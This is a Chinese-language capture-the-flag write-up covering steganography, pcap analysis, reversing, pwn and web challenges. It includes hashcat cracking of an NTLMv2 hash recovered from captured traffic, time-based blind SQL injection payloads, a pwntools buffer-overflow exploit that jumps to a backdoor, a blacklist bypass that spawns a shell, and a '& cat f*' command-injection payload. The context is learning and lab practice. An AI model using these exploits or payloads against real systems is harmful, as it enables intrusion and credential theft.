openssl enc -d -des3 -k W3lc0me2m1sc -in flag_decrypted.zip -out flag.zip(base) ➜ [Week2] 布豪有黑客(二) unzip flag.zipArchive: flag.zip End-of-central-directory signature not found. Either this file is not a zipfile, or it constitutes one disk of a multi-part archive. In the latter case the central directory and zipfile comment will be found on the last disk(s) of this archive.unzip: cannot find zipfile directory in one of flag.zip or flag.zip.zip, and cannot find flag.zip.ZIP, period.嗯????
(base) ➜ [Week2] 布豪有黑客(二) file flag.zipflag.zip: ASCII text, with no line terminators(base) ➜ [Week2] 布豪有黑客(二) cat flag.zipflag{1z_Beh1nd3r_Web5he1L_Ne7w0rk_Tr4ff1c}%嗷嗷~~
[Week2] 破碎的拼图
查看hint,得知使用了steghide,macOS妹有啊,使用orb,我Chao!Arch Linux也妹有,好吧得blackarch。
我超!我Orb炸了,他喵的出师不利。
steghide extract -sf image.jpg -p ?CTF获得flag_A.z02 flag_B.z01 flag_C.zip,统一重命名为
flag_A.z02 flag_A.z01 flag_A.zip,点击zip解压,获得flag.doc。
flag{br0k3n_p1eces_r3a553mb13d_7h3_puzz13}[Week2] 文化木的侦探委托(二)
文化木在解出了图片里的求助信号后,她的电脑突然开始自己动了起来,并又下载得到了一张图片,同时电脑上出现了两行字。 【表面无异,隐形涟漪里藏着求助的回声。】 【捕捉波纹,对比参差,真相会回应你。】 (注:flag内为可识别的明文,仅首个单词的首字母大写,以flag{}包裹)
用010Editor打开,发现:
tEXtComment�Eh, you actually managed to find this place... Then let me give you a little more hint. If you truly understand the structure of a PNG file, do you know what a blind watermark is?010Editor发现chunk[104]大小<200CH,chunk[105]>200CH,推测尾部附带了一张照片。
#!/usr/bin/env python3# Usage:# python3 rebuild_png_from_idat.py original.png idat_104.bin out.png## It extracts IHDR from original.png and builds a new PNG containing:# PNG signature + IHDR (from original) + single IDAT (data from idat file) + IEND## Note: this assumes the idat_104.bin you have is exactly the IDAT "data" field (raw zlib bytes),# i.e. what you'd get by extracting chunk data (not including length/type/crc).
import sys, struct, zlib, os
def read_chunks(fn): b = open(fn,'rb').read() if not b.startswith(b'\x89PNG\r\n\x1a\n'): raise SystemExit("Not a PNG: " + fn) pos = 8 chunks = [] while pos + 8 <= len(b): length = struct.unpack(">I", b[pos:pos+4])[0] ctype = b[pos+4:pos+8] data = b[pos+8:pos+8+length] crc = struct.unpack(">I", b[pos+8+length:pos+8+length+4])[0] if pos+8+length+4 <= len(b) else None chunks.append((pos, length, ctype, data, crc)) pos = pos + 8 + length + 4 if ctype == b'IEND': break return chunks
def extract_ihdr(original_png): chunks = read_chunks(original_png) for (pos,length,ctype,data,crc) in chunks: if ctype == b'IHDR': if length != 13: raise SystemExit("IHDR length unexpected: %d" % length) return data raise SystemExit("IHDR chunk not found in " + original_png)
def write_chunk(f, ctype, data): f.write(struct.pack(">I", len(data))) f.write(ctype) f.write(data) crc = zlib.crc32(ctype + data) & 0xffffffff f.write(struct.pack(">I", crc))
def rebuild(original_png, idat_bin, out_png): ihdr = extract_ihdr(original_png) idat_data = open(idat_bin, 'rb').read()
# sanity: ensure idat_data is non-empty if len(idat_data) == 0: raise SystemExit("Empty IDAT data file: " + idat_bin)
with open(out_png, 'wb') as f: # PNG signature f.write(b'\x89PNG\r\n\x1a\n') # IHDR write_chunk(f, b'IHDR', ihdr) # Single IDAT with your data write_chunk(f, b'IDAT', idat_data) # IEND write_chunk(f, b'IEND', b'') print("Wrote", out_png, " (IHDR from", original_png, ", IDAT from", idat_bin, ")")
if __name__ == "__main__": if len(sys.argv) != 4: print("Usage: python3 rebuild_png_from_idat.py original.png idat_104.bin out.png") sys.exit(1) original_png = sys.argv[1] idat_bin = sys.argv[2] out_png = sys.argv[3] rebuild(original_png, idat_bin, out_png)python bb.py Blind2.png idat_104.bin out.png使用https://github.com/chishaxie/BlindWaterMark提取盲水印:
(base) ➜ BlindWaterMark git:(master) python bwmforpy3.py decode ../Blind2.png ../out.png aaaaa.png
flag{W@tch_underw@ter}我瞎了
[Week3] 布豪有黑客(三)
c3的linux服务器暂时安全了…但c3的Windows呢?不仅有弱口令,flag所在的文件夹好像还被共享了…?
参考https://goodlunatic.github.io/posts/5422d65/#提取-ntlmv2-哈希值并破解smb协议
(base) ➜ [Week3] 布豪有黑客(三) python NTLMRawUnHide.py -i 布豪有黑客\(三\).pcapng /%( rockyou.txt -= Find NTLMv2 =- ,@@@@@@@@&e.py smb.hash /%&@@@@&, -= hashes w/ =- %@@@@@@@@@@@* (@@@@@@@@@@@( -= NTLMRawUnHide.py =- *@@@@@@@@@@@@@@@. &@@@@@@@@@@@@@@&. @@@@@@@@@@@@@@@@@@( ,@@@@@@@@@@@@@@@@@@@/ .%@@@@@@@@@@@@@@@@@@@@@ /@@@@@@@#&@&*.,/@@@@(. ,%@@@@&##(%@@@@@@@@@. (@@@@@@@(##(. .#&@%%( .&&@@&( ,/@@@@@@# %@@@@@@&*/((. #( ,(@& ,%@@@@@@* @@@@@@@&,/(* , .,&@@@@@# @@@@@@@/*//, .,,,** .,, ... .#@@@@@@@(. /@@@@@@@@@@@& .@@@@@@@@@@@* .(&@@@%/. .. (@@& %@@. .@@@, /@@# @@@, %@& &@@&. @@@/ @@@# . %@@@( ,@@@# @@@( , *@@/ .@@@@@( #@% *@@%. &@@@@@@@@, /@@@. .@@@@@@@@@@@&. .*@@@@@@@@@@@/. .%@@@@%, /%@@@&(.
Searching 布豪有黑客(三).pcapng for NTLMv2 hashes...
Found NTLMSSP Message Type 1 : Negotiation
Found NTLMSSP Message Type 2 : Challenge > Server Challenge : 91e15fed933eff0c
Found NTLMSSP Message Type 3 : Authentication > Domain : C3NGH--DESKTOP > Username : rockyou > Workstation : C3NGH--DESKTOP
NTLMv2 Hash recovered:rockyou::C3NGH--DESKTOP:91e15fed933eff0c:e20402e8a924e2de7c1e3fd3f949bc38:01010000000000001df551630839dc011473b30c1fc1c20f000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300650072007600650072000300160046004c00410047002d00530065007200760065007200070008001df551630839dc0106000400020000000800300030000000000000000100000000200000a6cd8042becda35cc7967ee26857127fac305123020cefe31fcefbfd7ece32d50a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d00530045005200560045005200000000000000000000000000
(base) ➜ [Week3] 布豪有黑客(三) vim hash.txt(base) ➜ [Week3] 布豪有黑客(三) hashcat -m 5600 hash.txt rockyou.txthashcat (v7.1.2) starting
METAL API (Metal 370.63.1)ss. Please be patient....==========================* Device #01: Apple M4 Pro, skipped
OpenCL API (OpenCL 1.2 (Aug 2 2025 21:16:03)) - Platform #1 [Apple]====================================================================* Device #02: Apple M4 Pro, GPU, 19169/38338 MB (3594 MB allocatable), 16MCU
Minimum password length supported by kernel: 0Maximum password length supported by kernel: 256Minimum salt length supported by kernel: 0Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique saltstient...Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotatesRules: 1
Optimizers applied:* Zero-Byte* Not-Iterated* Single-Hash* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.Pure kernels can crack longer passwords, but drastically reduce performance.If you want to switch to optimized kernels, append -O to your commandline.See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 100c
Host memory allocated for this attack: 793 MB (18087 MB free)...
Dictionary cache hit:lease be patient...* Filename..: rockyou.txt* Passwords.: 14344384* Bytes.....: 139921497* Keyspace..: 14344384
ROCKYOU::C3NGH--DESKTOP:91e15fed933eff0c:e20402e8a924e2de7c1e3fd3f949bc38:01010000000000001df551630839dc011473b30c1fc1c20f000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300650072007600650072000300160046004c00410047002d00530065007200760065007200070008001df551630839dc0106000400020000000800300030000000000000000100000000200000a6cd8042becda35cc7967ee26857127fac305123020cefe31fcefbfd7ece32d50a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d00530045005200560045005200000000000000000000000000:poohkitty13
Session..........: hashcatStatus...........: CrackedHash.Mode........: 5600 (NetNTLMv2)Hash.Target......: ROCKYOU::C3NGH--DESKTOP:91e15fed933eff0c:e20402e8a9...000000Time.Started.....: Sat Oct 11 18:48:31 2025 (0 secs)Time.Estimated...: Sat Oct 11 18:48:31 2025 (0 secs)Kernel.Feature...: Pure Kernel (password length 0-256 bytes)Guess.Base.......: File (rockyou.txt)Guess.Queue......: 1/1 (100.00%)Speed.#02........: 27172.5 kH/s (0.16ms) @ Accel:1024 Loops:1 Thr:64 Vec:1Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)Progress.........: 5242880/14344384 (36.55%)Rejected.........: 0/5242880 (0.00%)Restore.Point....: 4194304/14344384 (29.24%)Restore.Sub.#02..: Salt:0 Amplifier:0-1 Iteration:0-1Candidate.Engine.: Device GeneratorCandidates.#02...: roganoan -> n1ckosHardware.Mon.SMC.: Fan0: 0%, Fan1: 0%Hardware.Mon.#02.: Util: 59% Pwr:1219mW
Started: Sat Oct 11 18:48:30 2025Stopped: Sat Oct 11 18:48:32 2025密码为poohkitty13

好,导出flag.txt
flag{D0_U_L1k3_1z_NTLMv2_4nd_r0ckYouuuuu~}总结:这题做的时候并不顺利,那个hash.txt搞了半天,果然工具得好。
[Week3] 文化木的侦探委托(三)
(base) ➜ [Week3] 文化木的侦探委托(三) cp 175248_损坏了的压缩包.zip damaged.zip(base) ➜ [Week3] 文化木的侦探委托(三) file damaged.zipdamaged.zip: Zip archive data, at least v2.0 to extract, compression method=deflate(base) ➜ [Week3] 文化木的侦探委托(三) unzip -v damaged.zipArchive: damaged.zip Length Method Size Cmpr Date Time CRC-32 Name-------- ------ ------- ---- ---------- ----- -------- ---- 13643 Stored 10928 20% 10-06-2025 01:03 3559b49a-------- ------- --- ------- 13643 10928 20% 1 file
note: didn't find end-of-central-dir signature at end of central dir.(base) ➜ [Week3] 文化木的侦探委托(三) unzip damaged.zipArchive: damaged.zip: mismatching "local" filename (flag.docx), continuing with "central" filename versionmapname: conversion of failed
note: didn't find end-of-central-dir signature at end of central dir. (please check that you have transferred or created the zipfile in the appropriate BINARY mode and that you have compiled UnZip properly)(base) ➜ [Week3] 文化木的侦探委托(三) zip -FF damaged.zip --out repaired.zipFix archive (-FF) - salvage what can Found end record (EOCDR) - says expect single disk archiveScanning for entries... copying: flag.docx (10928 bytes)Central Directory found...no local entry:EOCDR found ( 1 11058)...(base) ➜ [Week3] 文化木的侦探委托(三) ls175248_损坏了的压缩包.zip damaged.zip repaired.zip[Week4] 布豪有黑客(四)
Time-based SQL Blind Injection
import refrom datetime import datetime
def find_slow_sql_queries(log_filepath, delay_threshold_seconds=2): """ 分析日志文件,找出响应时间超过阈值的SQL查询(慢响应)。
Args: log_filepath (str): access.log文件的路径。 delay_threshold_seconds (int): 定义慢响应的秒数阈值。 """ # 正则表达式用于匹配包含时间戳和SQL查询的行 # 只关心包含RANDOMBLOB的攻击payload log_pattern = re.compile( r"\[(\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2})\]" # 匹配 [YYYY-MM-DD HH:MM:SS] r".*?Query: (SELECT.*?RANDOMBLOB.*)" # 匹配 "Query: SELECT...RANDOMBLOB..." )
parsed_queries = [] print(f"[*] 正在读取日志文件: {log_filepath}")
try: with open(log_filepath, 'r', encoding='utf-8') as f: for line in f: match = log_pattern.search(line) if match: timestamp_str, query = match.groups() timestamp = datetime.strptime(timestamp_str, "%Y-%m-%d %H:%M:%S") parsed_queries.append({ "timestamp": timestamp, "query": query.strip().rstrip('|').strip() }) except FileNotFoundError: print(f"[!] 错误: 文件 '{log_filepath}' 未找到。") return except Exception as e: print(f"[!] 读取或解析文件时发生错误: {e}") return
print(f"[*] 共找到 {len(parsed_queries)} 条攻击查询。") print(f"[*] 正在分析延迟超过 {delay_threshold_seconds} 秒的慢响应...\n") print("-" * 50)
slow_response_count = 0 # 比较连续查询的时间戳,找出慢响应 for i in range(len(parsed_queries) - 1): current_log = parsed_queries[i] next_log = parsed_queries[i+1]
# 计算两个查询之间的时间差 time_difference = (next_log["timestamp"] - current_log["timestamp"]).total_seconds()
# 如果时间差大于等于阈值,则为慢响应 if time_difference >= delay_threshold_seconds: slow_response_count += 1 print(f"[*] 慢响应 #{slow_response_count}") print(f" 时间: {current_log['timestamp']}") print(f" 延迟: {time_difference:.0f} 秒") print(f" 查询: {current_log['query']}\n")
print("-" * 50) print(f"\n[+] 分析完成。共找到 {slow_response_count} 个慢响应。")
if __name__ == "__main__": # 将日志文件命名为 access.log 并与此脚本放在同一目录下 LOG_FILE = 'access.log' # 攻击者使用的payload会导致大约2-3秒的延迟,因此阈值设为2 DELAY_THRESHOLD = 2 find_slow_sql_queries(LOG_FILE, DELAY_THRESHOLD)输出(部分):
[*] 正在读取日志文件: access.log[*] 共找到 211 条攻击查询。[*] 正在分析延迟超过 2 秒的慢响应...
--------------------------------------------------[*] 慢响应 #1 时间: 2025-10-01 13:42:30 延迟: 3 秒 查询: SELECT * FROM articles WHERE author = 'admin' AND CASE WHEN (SELECT UNICODE(SUBSTR(value, 1, 1)) FROM secrets WHERE key='flag' LIMIT 1) >= 70 THEN LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(50000000)))) ELSE 1 END-- -' | IP: 127.0.0.1 | UA: python-requests/2.32.3
[*] 慢响应 #2 时间: 2025-10-01 13:42:33 延迟: 2 秒 查询: SELECT * FROM articles WHERE author = 'admin' AND CASE WHEN (SELECT LENGTH(value) FROM secrets WHERE key='flag' LIMIT 1) >= 25 THEN LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(50000000)))) ELSE 1 END-- -' | IP: 127.0.0.1 | UA: python-requests/2.32.3
[*] 慢响应 #3 时间: 2025-10-01 13:42:35 延迟: 3 秒 查询: SELECT * FROM articles WHERE author = 'admin' AND CASE WHEN (SELECT LENGTH(value) FROM secrets WHERE key='flag' LIMIT 1) >= 31 THEN LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(50000000)))) ELSE 1 END-- -' | IP: 127.0.0.1 | UA: python-requests/2.32.3
[*] 慢响应 #4 时间: 2025-10-01 13:42:38 延迟: 2 秒 查询: SELECT * FROM articles WHERE author = 'admin' AND CASE WHEN (SELECT UNICODE(SUBSTR(value, 1, 1)) FROM secrets WHERE key='flag' LIMIT 1) >= 79 THEN LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(50000000)))) ELSE 1 END-- -' | IP: 127.0.0.1 | UA: python-requests/2.32.3
[*] 慢响应 #5 时间: 2025-10-01 13:42:40 延迟: 2 秒 查询: SELECT * FROM articles WHERE author = 'admin' AND CASE WHEN (SELECT UNICODE(SUBSTR(value, 1, 1)) FROM secrets WHERE key='flag' LIMIT 1) >= 91 THEN LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(50000000)))) ELSE 1 END-- -' | IP: 127.0.0.1 | UA: python-requests/2.32.3
[*] 慢响应 #6 时间: 2025-10-01 13:42:42 延迟: 3 秒 查询: SELECT * FROM articles WHERE author = 'admin' AND CASE WHEN (SELECT UNICODE(SUBSTR(value, 1, 1)) FROM secrets WHERE key='flag' LIMIT 1) >= 97 THEN LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(50000000)))) ELSE 1 END-- -' | IP: 127.0.0.1 | UA: python-requests/2.32.3把输出丢给Gemini,其实再写个py或者肉眼瞪一下也行,但时间上不划算。
我们逐个分析慢响应日志,还原被窃取的数据。攻击者首先探测了flag的长度,然后逐个字符进行猜测。确定Flag长度
慢响应 #2: (SELECT LENGTH(value) FROM secrets WHERE key='flag' LIMIT 1) >= 25 为 真。慢响应 #3: (SELECT LENGTH(value) FROM secrets WHERE key='flag' LIMIT 1) >= 31 为 真。(日志中没有 ... >= 32 的慢响应,可以推断该查询为假)结论:Flag 的长度为 31 个字符。
逐字符分析 通过分析每个SUBSTR(value, N, 1)的测试条件,我们可以确定第N个字符的ASCII码或十六进制值。攻击者使用了二分法或类似的搜索算法来快速定位每个字符的值。我们取每个位置最后一个为“真”的条件作为该字符的值。
字符 1: UNICODE(...) >= 102 为真,... >= 103 为假。ASCII码为 102,即 'f'。字符 2: HEX(...) >= '6C' 为真,... >= '6D' 为假。十六进制为 0x6C,即 'l'。字符 3: UNICODE(...) >= 97 为真,... >= 98 为假。ASCII码为 97,即 'a'。字符 4: ... >= CHAR(103) 为真,... >= CHAR(104) 为假。ASCII码为 103,即 'g'。字符 5: UNICODE(...) + 10 >= 133 (即 UNICODE(...) >= 123) 为真,... >= 124 为假。ASCII码为 123,即 '{'。字符 6: UNICODE(...) >= 56 为真,... >= 57 为假。ASCII码为 56,即 '8'。字符 7: HEX(...) >= '31' 为真,... >= '32' 为假。十六进制为 0x31,即 '1'。字符 8: UNICODE(...) >= 49 为真,... >= 50 为假。ASCII码为 49,即 '1'。字符 9: UNICODE(...) >= 110 为真,... >= 111 为假。ASCII码为 110,即 'n'。字符 10: UNICODE(...) >= 100 为真,... >= 101 为假。ASCII码为 100,即 'd'。字符 11: HEX(...) >= '5F' 为真,... >= '60' 为假。十六进制为 0x5F,即 '_'。字符 12: UNICODE(...) >= 53 为真,... >= 54 为假。ASCII码为 53,即 '5'。字符 13: UNICODE(...) >= 113 为真,... >= 114 为假。ASCII码为 113,即 'q'。字符 14: UNICODE(...) >= 49 为真,... >= 50 为假。ASCII码为 49,即 '1'。字符 15: 4 + UNICODE(...) >= 99 (即 UNICODE(...) >= 95) 为真,... >= 96 为假。ASCII码为 95,即 '_'。字符 16: UNICODE(...) >= 49 为真,... >= 50 为假。ASCII码为 49,即 '1'。字符 17: UNICODE(...) >= 110 为真,... >= 111 为假。ASCII码为 110,即 'n'。字符 18: UNICODE(...) >= 106 为真,... >= 107 为假。ASCII码为 106,即 'j'。字符 19: UNICODE(...) >= 51 为真,... >= 52 为假。ASCII码为 51,即 '3'。字符 20: UNICODE(...) >= 99 为真,... >= 100 为假。ASCII码为 99,即 'c'。字符 21: UNICODE(...) >= 55 为真,... >= 56 为假。ASCII码为 55,即 '7'。字符 22: HEX(...) >= '5F' 为真,... >= '60' 为假。十六进制为 0x5F,即 '_'。字符 23: UNICODE(...) >= 52 为真,... >= 53 为假。ASCII码为 52,即 '4'。字符 24: ... >= CHAR(110) 为真,... >= CHAR(111) 为假。ASCII码为 110,即 'n'。字符 25: UNICODE(...) + 10 >= 62 (即 UNICODE(...) >= 52) 为真,... >= 53 为假。ASCII码为 52,即 '4'。字符 26: UNICODE(...) >= 49 为真,... >= 50 为假。ASCII码为 49,即 '1'。字符 27: HEX(...) >= '79' 为真,... >= '7A' 为假。十六进制为 0x79,即 'y'。字符 28: UNICODE(...) >= 122 为真,... >= 123 为假。ASCII码为 122,即 'z'。字符 29: UNICODE(...) >= 51 为真,... >= 52 为假。ASCII码为 51,即 '3'。字符 30: UNICODE(...) >= 114 为真,... >= 115 为假。ASCII码为 114,即 'r'。字符 31: HEX(...) >= '7D' 为真,... >= '7E' 为假。十六进制为 0x7D,即 '}'。
结论将所有恢复的字符拼接起来,黑客获得的数据是:
flag{811nd_5q1_1nj3c7_4n41yz3r}pwn
[Week1] ncncnc
(base) ➜ [Week1] ncncnc nc challenge.ilovectf.cn 30158Welcome to ?ctfncncnc!!!There are three stages ahead, keep going according to the hintsThis is the first stageUse the 'cat hint' command to open the hint file, which contains the key to the second stageYou can enter a command, or the key to proceed to the next stagecat hintEnter WoW to proceed to the second stageWoWYou can enter a command, or the key to proceed to the next stageWelcome to the second stage. This time I've added cat and hint to the blacklist. Do you have another way to open the hint to get the key to the third stage?You can enter a command, or the key to proceed to the next stage/bin'/s'h
ls1abindevflaghintliblib64odpwncat flagflag{63278607-3607-4f2f-8b53-f3b3db880b5c}关键就这行/bin'/s'h,这个shell没有环境变量,导致一度以为是个假的…
[Week1] count
#!/usr/bin/env python3from pwn import *import reimport sysimport time
HOST = "challenge.ilovectf.cn"PORT = 30208TIMEOUT = 6
hex_add_re = re.compile(rb'0x([0-9A-Fa-f]+)\s*\+\s*0x([0-9A-Fa-f]+)\s*=\s*\?')mul_re = re.compile(rb'(?<![0-9A-Fa-f]x)(?<![0-9A-Fa-f]X)(\d+)\s*[xX]\s*(\d+)\s*=\s*\?')
# 更精确的 flag / success 检测flag_pattern = re.compile(rb'flag\{[^}]{1,200}\}', re.I) # 匹配 flag{...}congrats_pattern = re.compile(rb'congrat', re.I) # 匹配 congrat 或 congratulationsignore_phrase = re.compile(rb'favorite\s+flag', re.I) # 若为“favorite flag”这类说明性句子,忽略
def calc_hex_sum(a_hex_bytes, b_hex_bytes): a = int(a_hex_bytes.decode(), 16) b = int(b_hex_bytes.decode(), 16) s = a + b result = "0x{:x}".format(s).encode() log.info(f"calc_hex_sum: 0x{a_hex_bytes.decode()} + 0x{b_hex_bytes.decode()} = {result.decode()}") return result
def main(): try: p = remote(HOST, PORT, timeout=TIMEOUT) except Exception as e: print(f"连接失败: {e}") sys.exit(1)
buffer = b'' try: while True: try: chunk = p.recv(timeout=TIMEOUT) except EOFError: log.info("远程主机关闭连接 (EOF).") break except Exception: chunk = b''
if chunk: buffer += chunk sys.stdout.buffer.write(chunk) sys.stdout.buffer.flush()
# 优先匹配十六进制题 m_hex = hex_add_re.search(buffer) if m_hex: a_hex = m_hex.group(1) b_hex = m_hex.group(2) ans = calc_hex_sum(a_hex, b_hex) log.info(f"Hex question -> sending: {ans.decode()}") p.sendline(ans) buffer = buffer[m_hex.end():] continue
# 再匹配乘法题 m_mul = mul_re.search(buffer) if m_mul: a = m_mul.group(1).decode() b = m_mul.group(2).decode() val = int(a) * int(b) ans = str(val).encode() log.info(f"Detected multiplication {a}x{b}, sending: {ans.decode()}") p.sendline(ans) buffer = buffer[m_mul.end():] continue
# 更稳健的 flag/success 检测: # 1) 先检测是否出现 flag{...}(最可靠) if flag_pattern.search(buffer): log.success("检测到 flag{...},切换到交互模式。") break
# 2) 再检测 congrat,但排除包含 'favorite flag' 的说明性句子 if congrats_pattern.search(buffer) and not ignore_phrase.search(buffer): log.success("检测到 congrat(ulations) 类成功提示,切换到交互模式。") break
# 否则不要因为单词 'flag' 就触发(避免误判) # 若 buffer 太大只保留尾部 if not chunk: time.sleep(0.05) if len(buffer) > 8192: buffer = buffer[-2048:] continue
except KeyboardInterrupt: print("\n用户中断(Ctrl+C)") finally: try: p.interactive() except Exception: try: p.close() except Exception: pass
if __name__ == "__main__": main()Congratulations on completing all challenges[+] 检测到 congrat(ulations) 类成功提示,切换到交互模式。[*] Switching to interactive modeflag{0e5a67f3-f0a5-4f68-a20e-351575821f78}[*] Got EOF while reading in interactive[Week1] 危险的 gets
看一下字段(部分省略)
(base) ➜ [Week1] 危险的 gets strings 184750_danger_gets/lib64/ld-linux-x86-64.so.2__libc_start_maingetssetvbufstdoutputssystemstdinstderrprintflibc.so.6GLIBC_2.2.5GLIBC_2.34__gmon_start__PTE1H=P@@/bin/shplz input your name:hello, %s!you know ret addrdo you know rop?do you know gets?:*3$"GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0crt1.o__abi_tag_dl_relocate_static_pie__bss_startmainsetvbuf@GLIBC_2.2.5__TMC_END___initstderr@GLIBC_2.2.5(venv) root@iZbp1d5rltw6uhsn58zuoaZ:~/pwn# readelf -s ./184750_danger_gets | grep backdoor || objdump -d ./184750_danger_gets | sed -n '1,260p' | grep -n backdoor -n 33: 00000000004011b6 26 FUNC GLOBAL DEFAULT 15 backdoorbackdoor 00000000004011b6
(venv) root@iZbp1d5rltw6uhsn58zuoaZ:~/pwn# gdb -q ./184750_danger_getsReading symbols from ./184750_danger_gets...(No debugging symbols found in ./184750_danger_gets)(gdb) b *0x4011f7Breakpoint 1 at 0x4011f7(gdb) runStarting program: /root/pwn/184750_danger_gets[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".you know ret addrdo you know rop?do you know gets?plz input your name:Breakpoint 1, 0x00000000004011f7 in vulnerable_function ()(gdb) info registers rbprbp 0x7fffffffe220 0x7fffffffe220(gdb) p/x $rbp-0x40$1 = 0x7fffffffe1e0BUF_ADDR = $rbp - 0x40SAVED_RIP_ADDR = $rbp + 8offset = SAVED_RIP_ADDR - BUF_ADDR = ($rbp + 8) - ($rbp - 0x40) = 0x48 = 72from pwn import *
BINARY = './184750_danger_gets'elf = ELF(BINARY)offset = 72
backdoor = 0x4011b6
p = process(BINARY)#p = remote('challenge.ilovectf.cn', 30254)
payload = b'A'*offsetpayload += p64(backdoor)
p.sendline(payload)p.interactive()服了,为啥呀,本地可以过,remote就EOF。。。
reverse
[Week1] jvav
觉得Main很史可以直接去看加密
jadx打开,MainActivityKt确实史,直接看EncKt,wait,你package com.utilis.enc;这么写它规范嘛??
不管了,jadx反编译的还是很适合肉眼观察的。流程如下:
checker(input) -> encoder(input) -> confuser(...) -> rounder(...)#!/usr/bin/env python3import base64import binascii
# 原始 Java bArr(signed bytes)bArr_signed = [-89, 96, 102, 118, -89, -122, 103, -103, -125, -95, 114, 117, -116, -102, 114, -115, -125, 108, 110, 118, -91, -83, 101, -115, -116, -114, 124, 114, -123, -87, -87, -114, 121, 108, 124, -114]
# 把 Java 的 signed byte 转为 0..255 unsigned 表示bArr = [x & 0xff for x in bArr_signed]n = len(bArr)
# 1) rounder 的逆向:rounder 是 output[i] = input[(i+5) % len]# 因此原来的 input = left-rotate by 5: input[i] = output[(i+5)%n]rounder_inv = [bArr[(i + 5) % n] for i in range(n)]
# 2) confuser 的逆向# forward: y = (~((a + 32) ^ 11)) & 0xff# reverse: u = (~y) & 0xff# t = u ^ 11# a = (t - 32) & 0xffconfuser_inv = []for y in rounder_inv: u = (~y) & 0xff t = u ^ 11 a = (t - 32) & 0xff confuser_inv.append(a)
# confuser_inv 此时应为 encoder 输出的 Base64 bytesencoded_bytes = bytes(confuser_inv)
# 最后按 UTF-8 解码为字符串try: flag = encoded_bytes.decode('utf-8')except UnicodeDecodeError: # 若发生编码错误,显示原始 bytes 以便调试 flag = None print("Warning: decoded bytes are not valid UTF-8. raw bytes:", encoded_bytes)
print("Recovered flag:", flag)输出Recovered flag: RsMW5faXNfYWxzb19qYXZhfQ==ZmxhZ3trb3但实际上应该是:ZmxhZ3trb3RsMW5faXNfYWxzb19qYXZhfQ==解码后为:flag{kotl1n_is_also_java}蒜鸟蒜鸟,就这样吧Web
[Week1] Gitttttttt
提示.git,那么尝试把.git下载下来
git-dumper http://challenge.ilovectf.cn:30024/.git/ .结果如下
➜ repo ls -a .git. config HEAD index objects.. description hooks info看结构,是完整的git,但我重组失败啊%%
➜ repo cat .git/HEADref: refs/heads/master好的,是master 观察git-dumper日志:
[-] Fetching http://challenge.ilovectf.cn:30024/.git/objects/3f/0aa7170cdb17191ec7cb6e6fe976d8d126e50b [200] [-] Fetching http://challenge.ilovectf.cn:30024/.git/objects/70/7d88d95558346d96797ab00a24daa0053078fc [200]那么重点关注这两个hash tag
➜ repo git --git-dir=.git cat-file -t 3f0aa7170cdb17191ec7cb6e6fe976d8d126e50bgit --git-dir=.git cat-file -t 707d88d95558346d96797ab00a24daa0053078fc
致命错误:不是 git 仓库:'.git'致命错误:不是 git 仓库:'.git'受不了了哥们,别搞。 git是废了,直接读数据吧
import zlib, sys, pathlib
for sha in [ "3f0aa7170cdb17191ec7cb6e6fe976d8d126e50b", "707d88d95558346d96797ab00a24daa0053078fc"]: path = pathlib.Path(".git/objects") / sha[:2] / sha[2:] data = zlib.decompress(path.read_bytes()) print(f"\n===== {sha} =====") print(data.decode("utf-8", errors="replace"))结果如下
(省略前一个,真的只是普通commit)===== 707d88d95558346d96797ab00a24daa0053078fc =====blob 39flag{#h_I_NE2V0R_13v3o_71E_6Bi7_4BGAzN}[Week1] Ping??
这个简单,拼接命令
& cat f*过滤了flag.txt字符串,用*就能绕过
flag{2926a603-a382-4477-a70a-c3195eaafcbc}[Week1] from_http
这类题目真的烦人😡搞个断点先
先改UA,再Get,再Post,再再再。。。不写了,烦死我了,反正七八轮后能拿flag。

[Week1] secret of php
嗯,东西下载下来了,还Dockerfile,真是贴心呢~
➜ secret of php lsDockerfile flag.php Flll4g.php index.php需要进入yes yes的情况
<?phphighlight_file(__FILE__);include("flag.php");$a = $_GET['a'];
if (isset($a)){ if($a === "2025") { die("no"); } else { echo "<br>"."yes"."<br>"; } if(intval($a,0) === 2025) { echo "yes yes"."<br>"; echo "Congratulations! You have passed the first level, the next level is ".$path."<br>"; } else { die("no no"); }} else { echo "a is not set"."<br>";}- isset($a) 为真(传个参数a)
- 严格比较 ($a === “2025”) 必须为假
- intval($a, 0) === 2025 必须为真(把a转成整数后等于 2025)。
intval($a,0) 会从字符串开头解析出整数部分(第二个参数 0 允许根据前缀自动判断进制),所以只要a的开头数字部分是 2025,但整个字符串不是精确等于”2025”,就能满足三个条件。
http://challenge.ilovectf.cn:30070/?a=2025abc得到
yesyes yesCongratulations! You have passed the first level, the next level is /Flll4g.php布什戈么,那你干脆别放那个网盘得了
<?phphighlight_file(__FILE__);include('flag.php');$a = $_POST['a'];$b = $_POST['b'];
